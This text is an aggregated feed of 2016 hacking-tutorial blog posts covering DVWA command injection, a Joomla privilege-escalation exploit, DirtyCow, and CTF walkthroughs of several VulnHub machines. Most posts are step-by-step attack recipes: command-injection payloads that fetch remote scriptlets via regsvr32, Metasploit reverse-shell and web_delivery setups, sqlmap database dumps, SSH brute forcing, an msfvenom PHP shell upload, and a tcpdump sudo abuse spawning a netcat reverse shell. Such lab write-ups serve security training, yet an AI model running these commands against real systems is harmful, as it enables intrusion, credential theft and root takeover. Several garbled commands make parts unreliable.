Quantcast
Viewing all 1812 articles
Browse latest View live
↧

Command Injection Exploitation in DVWA using Metasploit (Bypass All Security)

November 1, 2016, 12:35 pm
$
0
0
Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In this attack, the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application. Command injection attacks are possible largely due to insufficient input validation.

This attack differs from Code Injection, in that code injection allows the attacker to add his own code that is then executed by the application. In Code Injection, the attacker extends the default functionality of the application without the necessity of executing system commands. Source:

https://www.owasp.org/index.php/Command_Injection

First install the DVWA in your PC full article read here

Now open the DVWA in your pc and login with following credentials:

Username – admin
Password – password

Bypass Low Level Security

Click on DVWA Security and set Website Security Level low


Use "&&"in command injection to bypass low security of this server.

Image may be NSFW.
Clik here to view.

Go to the command execution page Enter an IP address and click on submit.

Image may be NSFW.
Clik here to view.

Now you can see the reply which means we have establish a connection with the server. Try as many variations as possible to provide a command to execute. You will see this every time!

Image may be NSFW.
Clik here to view.

We can also execute multiple commands at one time just by using the & sign. For example Next command is 192.168.1.100 && dir click on submit, this command will enumerate the directory and file.

Image may be NSFW.
Clik here to view.

We havefound 4 directories and a file and also that path this directory.

Image may be NSFW.
Clik here to view.

Next command is 192.168.1.100 && net user click on submit, this will show user account.

Image may be NSFW.
Clik here to view.

Here you can see the list of all users

Image may be NSFW.
Clik here to view.

So as many as command you will submit, you will have desirable result. Now I want to access shell by using command injection with the help of metasploit.

msf > use exploit/windows/misc/regsvr32_applocker_bypass_server
msf exploit(regsvr32_applocker_bypass_server) > set payload windows/meterpreter/reverse_tcp
msf exploit(regsvr32_applocker_bypass_server) > set lhost 192.168.1.106
msf exploit(regsvr32_applocker_bypass_server) > set lport  4444
msf exploit(regsvr32_applocker_bypass_server) > exploit

We can also use the following command in order to open a port on the remote host and to connect back to it with metasploit.

Image may be NSFW.
Clik here to view.

192.168.1.100 && regsvr32 /s /n /u /i:http://192.168.1.103:8080/C99PdFH.sct scrobj.dll and click on submit

Image may be NSFW.
Clik here to view.

Now you will get meterpreter session of victim’s PC. And type sysinfo to get system information.

Image may be NSFW.
Clik here to view.

Bypass Medium Level Security
Click on DVWA Security and set Website Security Level Medium
Use pipe "|"in command injection to bypass medium security of this server.

Image may be NSFW.
Clik here to view.
Follow same process as above using metasploit
192.168.1.100 | regsvr32 /s /n /u /i:http://192.168.1.103:8080/C99PdFH.sct scrobj.dll and click on submit

Image may be NSFW.
Clik here to view.

Again we got meterpreter session 2

Image may be NSFW.
Clik here to view.

Bypass High Level Security
Click on DVWA Security and set Website Security Level High

Try to use pipe "||" in command injection to bypass high security of this server

Image may be NSFW.
Clik here to view.

Follow same process as above using metasploit
192.168.1.100 || regsvr32 /s /n /u /i:http://192.168.1.103:8080/C99PdFH.sct scrobj.dll  and click on submit

Image may be NSFW.
Clik here to view.

Yes, we have meterpreter session 3 also

Image may be NSFW.
Clik here to view.
↧
Search

Exploting Joomla Website using Account Creation and Privilege Escalation Exploit

November 3, 2016, 6:35 am
$
0
0
In this article we will learn about hacking Joomla CMS. And to so we will be a pre-instaled module of metasploit which will further help us to create an autocratic account with administrative privileges in Joomla versions 3.4.4 through 3.6.3. Ttherefore, if an email server is arranged in Joomla, an email will be sent to activate the account (the account is disabled by default).

Exploit Targets
Joomla 3.4.4 through 3.6.3

Requirement
Attacker: kali Linux

Victim PC: Joomla 3.4.4

Image may be NSFW.
Clik here to view.

Open terminal in Kali and type msfconsole to start metasploit.

Image may be NSFW.
Clik here to view.

Once metasploit is opened then type the following commands to execute the attack:

 use auxiliary/admin/http/joomla_registration_privsec
msf exploit (joomla_registration_privsec)>set rhost 192.168.0.103
msf exploit (joomla_registration_privsec)>set username raj
msf exploit (joomla_registration_privsec)>set password raj123
msf exploit (joomla_registration_privsec)>set email raj@hackingarticles.in
msf exploit (joomla_registration_privsec)>set targeturi /joomla
msf exploit (joomla_registration_privsec)>exploit 

Image may be NSFW.
Clik here to view.

Performing this attack will allow you to create a desirable username and password like in this case I have given username :  raj and password : raj123 along with email ID : raj@hackingarticles.in
In the image below you can see that a new user wil be created by the username and passwords that you provided.

Image may be NSFW.
Clik here to view.

And as you have created a username you can log in using the said username.

Image may be NSFW.
Clik here to view.

Thus, you can hack Joomla CMS in the most simplest of the way.
↧
↧

Hack ALL Linux Kernel Version using Dirtycow Exploit

November 3, 2016, 8:59 am
$
0
0
People say that “good things take time” but everyone knows that in today’s world everyone has everything but time especially in cyber security and hacking. But worry no more about time as we are going to present the best and time saving method to hack any Linux server/machine through DirtyCow. This is the latest vulnerability that has been found that works against every version of kernel that has ever existed till date and researchers and attackers are taking it very seriously. It’s a nine year old bug but is only discovered now. And it has already begun to be used as leverage against the digital world.
DirtyCow is the latest exploit coined against every version of kernel in Linux. It got its name as “Cow” because it works on Copy-on-Write breakage. Kernel’s memory system works by handling Copy-On-Write breakage which contains private ROM. So basically this exploit helps us to escalate privileges by modifying existing setuid files.
Now I am going to walk you through the practical of DirtyCow by creating a normal user in my Kali and then I will be guiding you through the whole practical so stay with me.
Firstly make a new user in your kali by typing:
useradd –m raj
passwd raj

After running the above two commands it will ask you about password, here, give any password and repeat it.

Image may be NSFW.
Clik here to view.

Once your password is updated successfully and and user is created log into the Kali through that new user and then go to this link àhttps://github.com/gbonacini/CVE-2016-5195and download the zip file.

Image may be NSFW.
Clik here to view.
After the downloading is done, open the zip file. Here you will find a folder; open that folder in the terminal. Now in the terminal will notice that you do not have administrative privileges and to confirm this just type:

id
After this lets check the list of directories in the folder and for that type:
ls
Futher, type:
make
And then run dcow file by typing:
./dcow
Executing the above command will show you the password. Copy this password and then type :
su
Then give the same password that you copied when asked.

Image may be NSFW.
Clik here to view.


And VOILA!!! You have the access to the root!!
Conclusion: Using this we are modifying Copy-On-Write cache in kernel. By modifying we are changing contents of any readable and mapable file. It can alter any file but that changes affect cache memory only that means after rebooting the changes will be back to normal. Hence, letting us have the access to root. 
↧

Hack the Kioptrix VM (CTF Challenge)

November 5, 2016, 3:11 am
$
0
0
Today we going to solve Kioptrix: Level 1.3 (#4). It is Boot2Root series provided for practice. Hints we have from author are :
·         It’s possible to remotely compromise the machine
·         Stays within the target audience of this site
·         Must be “realistic” (well kinda…)
·         Should serve as a refresher for me. Be it PHP or MySQL usage etc.
So basically, its security level is from beginner to intermediate. Lets try to break through it. But before please note that you can download it from àhttps://www.vulnhub.com/entry/kioptrix-level-13-4,25/

WalkThrough
As always start off by finding the target

Image may be NSFW.
Clik here to view.

And so our target is 192.168.0.101. We will now scan it via nmap.

nmap –p- -A 192.168.0.101

Image may be NSFW.
Clik here to view.

With the result of nmap you can see that service of HTTP is running on two ports i.e. 80 and 8080 along with the service of SSH on 22 port. As we have HTTP service running we should try and open it in our browser.

Image may be NSFW.
Clik here to view.

There is nothing on the webpage except it says “it works!”, lets have a look on its source code.

Image may be NSFW.
Clik here to view.

In its source code there is URL mentioned i.e. pChart2.1.3/index.php. Open this URL

Image may be NSFW.
Clik here to view.

And so the ULR opens an it takes us to php library. pChart is basically PHP library that helps us to create or manage anti-aliased charts or pictures directly from the web-server. I searched google more to learn about it and stumbled upon some useful information i.e. this version of pCharts was vulnerable. Therefore, I  searched for its exploit on exploit-db.com.

Image may be NSFW.
Clik here to view.

And so I found an appropriate exploit. When you explore the exploit there is a link given :
hxxp://localhost/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd
I opened this link except I used the VM’s IP and found the following page :

Image may be NSFW.
Clik here to view.

The information on this page isn’t useful at all. Then I remembered that http service was opened on 8080 port too. So I opened the IP on the port 8080.

Image may be NSFW.
Clik here to view.

But the access was forbidden. I tried to very method to bypass this forbidden access but nothing worked other than user agent. So to access this page go to Tools menu from the menu bar. A drop down menu will appear. From this menu select Default User Agent. Another menu will open and from this select Internet Explorer, from this another menu will open and from it select Internet Explorer 6.

Image may be NSFW.
Clik here to view.
And fortunately we have the access to the page. And found file called phptax/ .

Image may be NSFW.
Clik here to view.


Now open this link and you will have the following page :

Image may be NSFW.
Clik here to view.

The page was of phptax. Phptax is a kind of CMS for linux. Its aim is to develop a tax program which uses databaseless methodology that fits in one line text files. Using the Phptax does not requires SQL databases that are generally used in this program. And to our luck there a exploit of Phptax in metsapsloit, for that simply type search phptax in metasploit.

Image may be NSFW.
Clik here to view.

To use this exploit simply type the following in metasploit :
use exploit/multi/http/phptax_exec
set rhost 192.168.0.101
set rport 8080
exploit
After this, you wil directly reach the shell then type :
id
uname -a         
These above commands are used to know the id and the version of Kernel.

Image may be NSFW.
Clik here to view.

There is a exploit for this version of kernel in exploit-db.com. Download it and save the file as shown 

Image may be NSFW.
Clik here to view.

Next, type the following command to get the exploit from its by default location :
fetch http://192.168.0.104/28818.c
Here, we used fetch command because wget command wasn’t working as its security level here was a bit high. So, using fetch is an substitute for wget command and so we are directly using it from the browser.
Then type the following set of commands to execute the exploit :
ls
gcc –o 28718.c kernel
ls
chmod 777 exploit
./exploit

Image may be NSFW.
Clik here to view.

As the exploit executes you will reach the root. And to confirm this type :
id
Then moving forward go to the root folder by typing :
cd /root
Let's see what directories it has and for that type :
ls
Here we have a congrats.txt named text file and I am hoping this will be our flag so to read it type :
cat congrats.txt

Image may be NSFW.
Clik here to view.
↧

Hack the Acid VM (CTF Challenge)

November 5, 2016, 6:38 am
$
0
0
The name of the Virtual machine is "Acid Server" that we are going to crack.  It is an Boot2Root Vm that we are going to solve. This is a web-based VM. Our main goal is to escalate the privileges to root and capture the flag.
You can download it from àhttps://www.vulnhub.com/entry/acid-server,125/

WalkThrough
As always start by finding the target.

netdiscover

Image may be NSFW.
Clik here to view.

Our target is 192.168.0.105. Now fire up nmap to scan the ports.
nmap –p- -A 192.168.0.105

Image may be NSFW.
Clik here to view.

Nmap results in showing that there is only one port open i.e. 33447with the services of HTTP. Please observe here that port 80 is not open that means if we want to open this IP in the browser then we have to use the port number as it will not open it by default. So now open the web page using the port number.

Image may be NSFW.
Clik here to view.

There is only a heading and a quote on the page; nothing else but if you look at the tab on the browser, it says “/Challenge”. This can be a directory. Let’s open it.

Image may be NSFW.
Clik here to view.

Upon opening /Challenge, a log in portal will open. Let’s learn more about /Challenge by using DirBuster. Copy the link from the browser in Target URL box and then select 2.3-meduim word list in Files with the list of dirs/files box by clicking on browse button. And then click on Start.

Image may be NSFW.
Clik here to view.

Clicking on start button will provide the list of directories.

Image may be NSFW.
Clik here to view.

I went through every directory but only cake.php was useful. Open it in the browser.

Image may be NSFW.
Clik here to view.

I went through every directory but only cake.php was useful. Open it in the browser. When you open cake.php, the page says “ah.haan…There is long way to go..dude J”. But upon looking closely you will find the /Magic_Box is written on the tab. Lets open it in the URL just like before.

Image may be NSFW.
Clik here to view.

When you open the /Magic_Box it says that access to the page is forbidden. OK! There is no problem in that. Let’s use DirBuster on it. Give the URLand 2.3 meduim wordlist just as before and then click on start button.

Image may be NSFW.
Clik here to view.

In the result it will show the name of the directories.

Image may be NSFW.
Clik here to view.

Out of all those command.php is the only one that has proved to be useful. Open it in the URL.

Image may be NSFW.
Clik here to view.

Here you will find a ping portal that means you can ping any IP address from here. Let’s try and ping an IP. (You can ping any IP but I am going to ping the default IP i.e. 127.0.0.1).

Image may be NSFW.
Clik here to view.

Once the ip has been pinged, go to the page source. On the page source you can contemplate that results of ping is showing.

Image may be NSFW.
Clik here to view.

If the page is showing the result that means we can use this portal to inject our virus using web_delivery exploit. And to do so, go to the terminal of Kali an open metasploit by typing msfconsole and then further type :

use exploit/multi/script/web_delivery
set target 1
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.104
set lport 4444
exploit

This exploit is a multi exploit that means it can used on multiple programs. Therefore, I have set the target as one because 1 refers to php and as we are using php payload we have to set target as 1

Image may be NSFW.
Clik here to view.

Now performing this exploit will give you a code. Copy this code and paste it on ping portal after the IP that you are using to ping. And to add this code use semi-colon (;).
127.0.0.1; **

Image may be NSFW.
Clik here to view.

As soon as you click on submit, you will have a meterpreter session in metasploit. When you have the session the type the following commands to reach terminal:
shell
python –c ‘import pty; pty.spwan(“/bin/bash”)’

Image may be NSFW.
Clik here to view.

Further type the following command to see the list of directories:
ls / l
In the list you will find a directory called s.bin. let’s go into the folder and see its list of files and for that type :
cd /s.bin
ls
Here, you will find a php file. Lets read it.
cat invesgitate.php
When you read it, it shows you a message i.e. “now you have to behave like n investigator to catch the culprit”.

Image may be NSFW.
Clik here to view.

In the list of directory that was previously previewed also had a folder sbin. Let’s get into that folder and see the lists of files and to do so type:
cd sbin
ls

Image may be NSFW.
Clik here to view.

In the list of files you can see a file named raw_vs_isi. Let’s check it out.
cd raw_vs_isi
ls
It contains only on file, called hint.pcapng. This is wireshark file and there are many ways to download this file but they are usually very lengthy. So I have used a shortcut. Simply terminate your shell session and go back to meterpreter session

Image may be NSFW.
Clik here to view.

There check where you are currently working and for that type:
pwd
ls
And then type:
Download hint.pcapng /root/Desktop/hint.pcapng

Image may be NSFW.
Clik here to view.

Now the file is downloaded on your desktop. I explored it every packet and found a conversation in the TCP stream of 90th packet. Just right click on the said packet and then click on Follow option and then select TCP stream.

Image may be NSFW.
Clik here to view.

It will open the conversation as shown in the image below:

Image may be NSFW.
Clik here to view.

In the conversation on eof them says “saman and now a days he’s known by the alias of 1337hax0r” that means saman is the usernam and 1337hax0r can be the password. Let’s try it. Type shell again to reach the terminal and here log in with the username we just found:
su saman
1337hax0r
Sudo saman
1337haxor
And so you have entered the root. Now go into the folder root and see what it has to offer:
cd /root
ls
cat flag.txt

Image may be NSFW.
Clik here to view.

WOOHOOOO!!!! The flag has been captured!! Enjoy!
↧
↧

Hack the Lord of the Root VM (CTF Challenge)

November 6, 2016, 12:47 am
$
0
0
This is another Boot2Root challenge which has been prepared by KoocSec for hacking exercises. He prepared this through the inspiration of his OSCP exam. It is based on the concepts of great novel-turned-movie The Lord Of The Ring.
You can download this VM from –> https://www.vulnhub.com/entry/lord-of-the-root-101,129/

WalkThrough
Firstly, we will find our target.

netdiscover

Image may be NSFW.
Clik here to view.

Our target is 192.168.1.5
Now run the nmap script to know the ports and protocols.
nmap –p- -A 192.168.1.5

Image may be NSFW.
Clik here to view.

Nmap has resulted in showing us that only 22 port is open with the service of SSH. Port 80 is not open that means we don’t have facility of opening this server in browser. Therefore we will try to see what port 22 has to offer and so go to your terminal in Kali and type :
ssh 192.168.1.5

Image may be NSFW.
Clik here to view.

When I searched SSH it said “Knock Friend To Enter” and “Easy as 123” and then it asks for password that we do not know yet. Now this is a hinting towards port knocking. Let’s try it :
nmap –r –Pn –p 1,2,3 192.168.1.5
Here,
-r à is scanning ports consecutively
-Pn à is treating all hosts as online
-p à is only scanning specified ports
1,2,3 à ports (we used this because of the : easy as 1,2,3)

Image may be NSFW.
Clik here to view.

Now again fire up nmap scan. This time hopefully we will have more than one port in result.
nmap –p- -A 192.168.1.5

Image may be NSFW.
Clik here to view.

As you can see there is one more port open in comparison to our previous scan i.e. 1337 which has the service of HTTPand this is all we wanted as by default port 80 was not open. Let’s open our target IP with this port.
192.168.1.5:1337

Image may be NSFW.
Clik here to view.

It opens a page with only one image. There was nothing in the page source too. So, I used nikto here.
nikto –h 192.168.1.5:1337

Image may be NSFW.
Clik here to view.

Every directory shown in nikto’s result wasn’t useful. So, I tried robots.txt as I always try it by default.

Image may be NSFW.
Clik here to view.
And BOOM! I was right as an image opens here. And further I checked its page source.

Image may be NSFW.
Clik here to view.
In the page source I found a Base64 code which I decoded using HackBar.

Image may be NSFW.
Clik here to view.

And it gave me the result as shown above but here is a trick. It is going to be further decoded but only from L till = as this is the base64 coded string. Similarly, decode it further.

Image may be NSFW.
Clik here to view.

Upon decoding we have a URL. Lets open it.

Image may be NSFW.
Clik here to view.

And now we are face to face with a log in portal. Now here I will try to log in with any random username and password but I this process we will also capture cookies via BurpSuite.

Image may be NSFW.
Clik here to view.

As the cookies are captured, we will use them in our next step i.e. sqlmap. Now I wanted to gather database to know username and password that is why I decide to use sqlmap. And the command I used is :
sqlmap -u http://192.168.1.5:1337/978345210/index.php --forms --batch --crawl=10 --cookie=ibf29bpuc0864gmfobpdsg0pu0 --level=5 --risk=3 –dbs
When you execute this command it will ask you three questions. Answer first two questions as no and the third one as yes.

Image may be NSFW.
Clik here to view.

And it will start gathering database.

Image may be NSFW.
Clik here to view.

And finally it will show you the database of usernames and passwords.

Image may be NSFW.
Clik here to view.

Moving on save all of these usernames and password in two different text files. And use this text files in an SSH log in attack with the help of Brute force method. And to execute this attack go to the terminal in Kali and open Metasploit by typing msfconsole and further type 
:
use auxiliary/scanner/sh/shh_login
set rhosts 192.168.1.5
set user_file /root/Desktop/user
set pass_file /root/Desktop/pass
exploit

Image may be NSFW.
Clik here to view.

And as a result it will show you the correct username and password i.e. smeagol:MyPreciousR00t. now log in through SSH using this username and password.
ssh smeagol@192.168.1.5
Next give the password when asked. And when you are logged in then type the following command to know version of kernel.
lsb_release -a

Image may be NSFW.
Clik here to view.

The version is 14.04 and luckily we have an exploit for this version. In the Kali terminal lets search for the appropriate exploit and for this type :
searchsploit ubuntu 14.04

Image may be NSFW.
Clik here to view.

The exploit we will use here is 39166.c and for this exploit to be used we need to first download and compile it and for this type :

wget http://192.168.1.18/39166.c

gcc 39166.c –o shell

The first command in the above commands will download the exploit and the second one will compile it and save it in the file named shell. Next, we have to give permission to the shell and then at last we have to run it.

chmod 777 shell

./shell

Executing the shell file will take you to the root and to confirm this use the following command :

whoami

Now let’s get into root folder and see what it has to offer :

cd /root
ls

Here, we have found a text file with the name flag which was our ultimate goal. So now no more waiting, lets read it.
cat Flag.txt

Image may be NSFW.
Clik here to view.
↧

Hack the Breach 2.1 VM (CTF Challenge)

November 7, 2016, 9:09 am
$
0
0
Breach 2.1 is the second VM in the multi-series Boot2Root CTF challenges. This is developed by mrb3n. It is high-level challenge and shows a lot of scenario including plenty of twists and trolls along the way. It works on a static IP i.e 192.168.110.151 therefore we have configured our adapter to be a host-only adapter.
You can download it from: https://www.vulnhub.com/entry/breach-21,159/
WalkThrough
As our VM is hosted on static IP, there is no need to discover our target we will directly start by scanning our target.

nmap –p- -A 192.168.110.131

Image may be NSFW.
Clik here to view.

Nmap shows us that only three ports are open which are: 111, 52263, 65535 with the services of rpbind, status, SSH respectively. Let’s check SSH port.
ssh 192.168.110.151 –p 65535
Here,
-p = a specified port

Image may be NSFW.
Clik here to view.

Here I gave password “inthesource” because in the area between the hashes it says “Peter, if that’s you – the passowrd is in the source”. It did not work though.  LOL! So I just gave nmap another try and there was port 80 open this time.
Ssh peter@192.168.110.151–p 65535

Image may be NSFW.
Clik here to view.

As the port 80 just opened, to our luck we can open this in our browser now.

Image may be NSFW.
Clik here to view.

Now on the webpage it says“Welcome to Initech Cyber Consulting. LLC” and something about BEEF. Even in the page source I found nothing so I decided to use DirBuster. It showed me a lot of directories but the one that stole my interest was /blog/.

Image may be NSFW.
Clik here to view.

So I opened it in the browser. It opened a travel blog. There was a search box on the blog so I tried SQL injection by using single inverted comma (‘).

Image may be NSFW.
Clik here to view.

This way I found SQL vulnerability so I used SQLMap next.
Sqlmap –u http://192.168.110.151/blog/index.php?search --dbs

Image may be NSFW.
Clik here to view.

This command will start the process and it will show you five table names in database.

Image may be NSFW.
Clik here to view.

Out of these five oscommerce is the most famous CMS of e-commerce websites. And this blog was also related to commerce. So I decided to use my next SQLMap command against this table in databse.
Sqlmap –u http://192.168.110.151/blog/index.php?search= --dbs –D oscommerce –tables --dump

Image may be NSFW.
Clik here to view.

Execution of this command will give you username and password. The username is admin but the password that you will receive will be MD5 hash value.

Image may be NSFW.
Clik here to view.

You can crack this MD5 hash value using any third party or you can use an online method like I did.

Image may be NSFW.
Clik here to view.

Upon cracking the password you will get here is 32admin. Now I have usernames and password but I do not have a log in portal. So I started exploring the blog but couldn’t find anything. So cooped and pasted it copyright information on google.

Image may be NSFW.
Clik here to view.

And upon search the google I found the first link of exploit-db.com that means there is an exploit for the said. And that’s why I opened the linked and explored it.

Image may be NSFW.
Clik here to view.
In the exploit there was information about XSS code and a link was provided. Now I know that BEEF does XSS work and on the very first webpage too there was something about BEEF. So naturally I started working with BEEF.

Image may be NSFW.
Clik here to view.

Now BEEF automatically gives us a script which includes a link. I copied that link and opened the BEEF panel in the browser.

Image may be NSFW.
Clik here to view.

Here, go to register option and paste the copied link in the username area and give and random password and email.

Image may be NSFW.
Clik here to view.
As you can see BEEF will give you a session.

Image may be NSFW.
Clik here to view.

From the entire cross sitting details BEEF have to show please pay close attention to the browser. You will find that our target is using FireFox 15.0 and fortunately there is an exploit for this in metasploit.

Image may be NSFW.
Clik here to view.

Now, open metasploit and type the following command to use the said expoit :
use exploit/multi/browser/firefox-proto_crmfrequest
set paypload generic/shell_reverse_tcp
set srvhost 192.168.110.128
set uripath shell
set lhost 192.168.110.128
exploit

Image may be NSFW.
Clik here to view.

Performing this exploit will give you and URL like in my case URL is http://192.168.100.128:4444:8080/shell. Copy this link and go to the BEEF panel. In the BEEF panel go to the Commands tab > Hooked Domain > Redirect Browser. Paste the copied link here in the Redirect URL text box.

Image may be NSFW.
Clik here to view.

As you follow the above steps you will have a shell session.

Image may be NSFW.
Clik here to view.

Now here is trick, you will lose the session as you as you will get it. Here you will have to tranfer you shell session to meterpreter session within 5 seconds and for that type :
use post/multi/manage/shell_to_remember
set session 1
run

Image may be NSFW.
Clik here to view.

And you will have a session. Open that session and you will reach the terminal. In the terminal lets check out the home folder.
cd /home
ls
In the home folder you will three folders i.e. bill, milton, peter. It was not of much use so went ahead and and checked network status.
netstat -tln

Image may be NSFW.
Clik here to view.

Checking the network status gave me some co-ordinates. So I checked them on Google map and found that it was the co-ordinates of Houston. Now this Houston word can be a password or username so I just made a mental note of it for later use.

Image may be NSFW.
Clik here to view.

Except this I found nothing so used Telnet to just get a reply and for that used the following command :
telnet 127.0.0.1 2323

Image may be NSFW.
Clik here to view.

This time it replied with a question i.e. whose stapler is it? Now I don’t know the answer so I just pressed enter. So to know the answer I wanted to search Milton user. And for this, commands are:
find /usr –user milton
cat /usr/local/bin/cd.py

Image may be NSFW.
Clik here to view.

Now in the python file it showed me the programming and as you can see in the image you the coding shows that correct answer “mine”.
So, I repeated my steps to reach the same question. And gave the answer as mine

Image may be NSFW.
Clik here to view.


Then I checked status of network and observed that port 8888 opened.

Image may be NSFW.
Clik here to view.

I checked this port in browser and found two directories.

Image may be NSFW.
Clik here to view.
Out of these I opened oscommerce link and the following page opened.

Image may be NSFW.
Clik here to view.

I had the username and password for this CMS so I Google its admin page and logged in with the admin as username and admin as password.
Note: we have cracked the MD5 value of password that resulted in 32admin but here is is no use of 32. The password is admin.

Image may be NSFW.
Clik here to view.

It logged in but to upload the malicious code you have to follow the path is: file manage > includes > work.  Here you have to upload your php code.

Image may be NSFW.
Clik here to view.

To generate the code go to the terminal in Kali and type:
Msfvenom –p php/meterpreter/reverse-tcp lhost-192.168.110.128 lport=8443 –f raw

Image may be NSFW.
Clik here to view.

Copy to die(); and save it in a .php document.

Image may be NSFW.
Clik here to view.

Before running the file goes to mestaspoit and start multi/handler.
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.110.128
set lport 8443
exploit
It will give you the meterpreter session and then type the combination of following commands to reach terminal :
shell
echo "import pty; pty.spawn('/bin/bash')"> /tmp/asdf.py
python /tmp/asdf.py
id
Next type :
/var/www/html2/oscommerce/includes/work

Image may be NSFW.
Clik here to view.

Still we haven’t reached root but we found blumbergh, let’s see what privileges it has.
sudo –l
Ok. So it saya that it can rum a tcpdump file as root. That’s interesting. To manipulate tcpdump I need to run a set of following comands:
Echo $’id\n/bin/netcat 192.168.110.128 443 –e /bin/bash’ > /tmp/.test
Chmod +x /tmp/.test
Sudo tcpdump –ln –I eth- -w /dev/null –W 1 –G 1 –z /tmp/.tst –Z root

Image may be NSFW.
Clik here to view.

Tough part is over! Now I just need to run netcat :
nc –nlvp 443
Let’s confirm if we have reached root or not and if yes, let’s see what it has to offer :
id
cd /root
ls

Image may be NSFW.
Clik here to view.

There ia flag.py file in /root. So no waiting. Lets capture the flag.
python .flag.py

Image may be NSFW.
Clik here to view.
↧

Hack Acid Reloaded VM (CTF Challenge)

November 10, 2016, 8:06 am
$
0
0
Acid reloaded is the 2nd VM of the Acid series of Boot2Root CTF exercise. It is created by Avinash Thappa. To capture the flag, first we have to gain the root access that means escalating administrator privileges.
You can download this VM from: https://www.vulnhub.com/entry/acid-reloaded,127/

WalkThrough
As always start by finding our target

netdiscover

Image may be NSFW.
Clik here to view.

This tells us that our target is 192.168.1.10. Now is time to scan with nmap.
nmap –p- -A 192.168.1.10

Image may be NSFW.
Clik here to view.

The result of nmap shows us that only port 22 is open with the service of SSH. Let’s check out this 22 port.
ssh 192.168.1.10

Image may be NSFW.
Clik here to view.

Checking out port 22 hints us that we should use Port Knocking technique.
nmap –r –Pn –p 3,2,1 192.168.1.10

Image may be NSFW.
Clik here to view.

Let’s scan with nmap again.
nmap –p- -A 192.168.1.10

Image may be NSFW.
Clik here to view.

Port knocking helped us to open port 33447 on which the service of HTTP was redirected. Now open the target IP on browser using this port.

Image may be NSFW.
Clik here to view.

A simple webpage opens that tells us to use our brain. Haha! Even the page source did not help. It’s time to use nikto.
nikto –h 192.168.1.10:33447

Image may be NSFW.
Clik here to view.

Now nikto reveals that /bin/ might be interesting as it might have a shell system. No harm in checking it out in browsing so let’s do that.

Image may be NSFW.
Clik here to view.
And it’s a log in portal. Now let’s check its page source.

Image may be NSFW.
Clik here to view.

In the page source there is a directory called: includes/validation.php. I decided to check it out.

Image may be NSFW.
Clik here to view.

Alas! I could not find anything on it. So decided to use DirBuster to find out about directories. In the DirBuster give the URL and for wordlist use medium 1.0 wordlist.

Image may be NSFW.
Clik here to view.
And then click on Start button and it will start finding directories.

Image may be NSFW.
Clik here to view.

I checked every directory related to bin and only /bin/dashboard.phpwas useful. When I opened it in the browser, I found nothing useful so I looked in to the page source and even that proved to be non-useful.

Image may be NSFW.
Clik here to view.
When nothing helped I decided to capture its cookies using BurpSuite. To capture the cookies using BurpSuite, set proxy and then turn on the interception and then simply reload the page. When the cookies are captured just add the following below the Host.
Referer : http://192.168.1.10:33447/bin/includes/validation.php

Image may be NSFW.
Clik here to view.

And now as soon as you will hit the forward button it will automatically log in.

Image may be NSFW.
Clik here to view.
On the page it says to click and when you do that it will redirect to the following page.

Image may be NSFW.
Clik here to view.
There was nothing on the redirected page or its page source. So decided it to use SQLMap.
sqlmap –u “192.168.1.10:33447/bin/l33t_haxor.php?id=1” –dbs –tamper=space2comment

Image may be NSFW.
Clik here to view.

It shows us the name of the table i.e. UB3R/strcpy.exe

Image may be NSFW.
Clik here to view.

Now I have a name o the table so I decided open it in URL.

Image may be NSFW.
Clik here to view.

When I opened it in the browser, a dialogue box opened and asked to save a file and so I did. Now I used foremost tool to know a bit about the file.
Foremost tool is a forensic tool which is used to recover files using their headers and footers.
Foremost strcpy.exe

Image may be NSFW.
Clik here to view.

As soon as you will run the above command a folder is created with the name of output. Let’s check out this folder.
cd output/
ls
There is a text file in the folder with the name of audit, I decided to read it through cat command.
Cat audit.txt

Image may be NSFW.
Clik here to view.

There is a .rar which I decided to unrar.
unrar x 00000213.rar
On unzipping there are two files that has been extracted i.e. acid.txtand lol.jpg. I decided to read acid.txt
cat acid.txt
This .txt tells us that we are on right path. So ofcourse next I opened lol.jpg
exiftool lol.jpg
But found nothing. So I unzipped it.
unrar e lol.jpg

Image may be NSFW.
Clik here to view.

Unzipping the lol,jpg gave me two files again, one was hint.txt and another Avinash.contact. So I opened hint.txt which told me to go with Avinash.contact, so I next opened.
cat Avinash.contact

Image may be NSFW.
Clik here to view.

There was base64 code given in the file with some random words like avinash, person, etc. So I saved these random words in a text file and decoded the base64 code which turned to be NooB@123.

Image may be NSFW.
Clik here to view.

And then applied brute force on SSH using the text file I just created with random words because one of them could be username and other could be password. And for that open metasploit and type:

use auxiliary/scanner/ssh/ssh-login
set user_file /root/Desktop/user.txt
set pass_file /root/Desktop/pass.txt
exploit

Image may be NSFW.
Clik here to view.

And it gave us makke:NooB@123 as username and password respectively. And so I logged in with SSH.
ssh makke@192.168.1.10
Give the password when asked. And when I logged in I checked kernel’s version and tried to download its exploit but it didn’t happen. All the options for downloading were blocked so started exploring.

Image may be NSFW.
Clik here to view.

So I directly went for /bin.
cd /bin
ls

Image may be NSFW.
Clik here to view.

In /bin, there was files called overlayfs. This is a famous exploit so I executed it
./overlayfs
id
ls –la
And then fortunately there was a flag.txt.
cat flag.txt

Image may be NSFW.
Clik here to view.
↧
Search

bWAPP Command Injection Exploitation using Commix (Bypass All Security)

November 12, 2016, 8:31 am
$
0
0
Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In this attack, the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application. Command injection attacks are possible largely due to insufficient input validation.

This attack differs from Code Injection, in that code injection allows the attacker to add his own code that is then executed by the application. In Code Injection, the attacker extends the default functionality of the application without the necessity of executing system commands. Source:

https://www.owasp.org/index.php/Command_Injection

Requirement:
Xampp/Wamp Server
bWAPP Lab
Kali Linux: Burp suite, Commix tool

Very first you need to setup bWAPP lab in your XAMPP or WAMP server, for this you can visit to my previous article web Pentest lab setup using bwapphere.

Now I m going to perform os command injection attack using bWAPP

Start service Apache and Mysql in Xampp or Wamp server. Let’s open the local host address in browser as I am using 192.168.1.103:81/bWAPP/login.php. Enter user and password bee and bug respectively.

My task is to bypass all three security level in bWAPP through os command injection.

Let start!

Set security level: low


Look at below image I have set the security level low, from option choose you bug select os command injection now and click on hack.

Image may be NSFW.
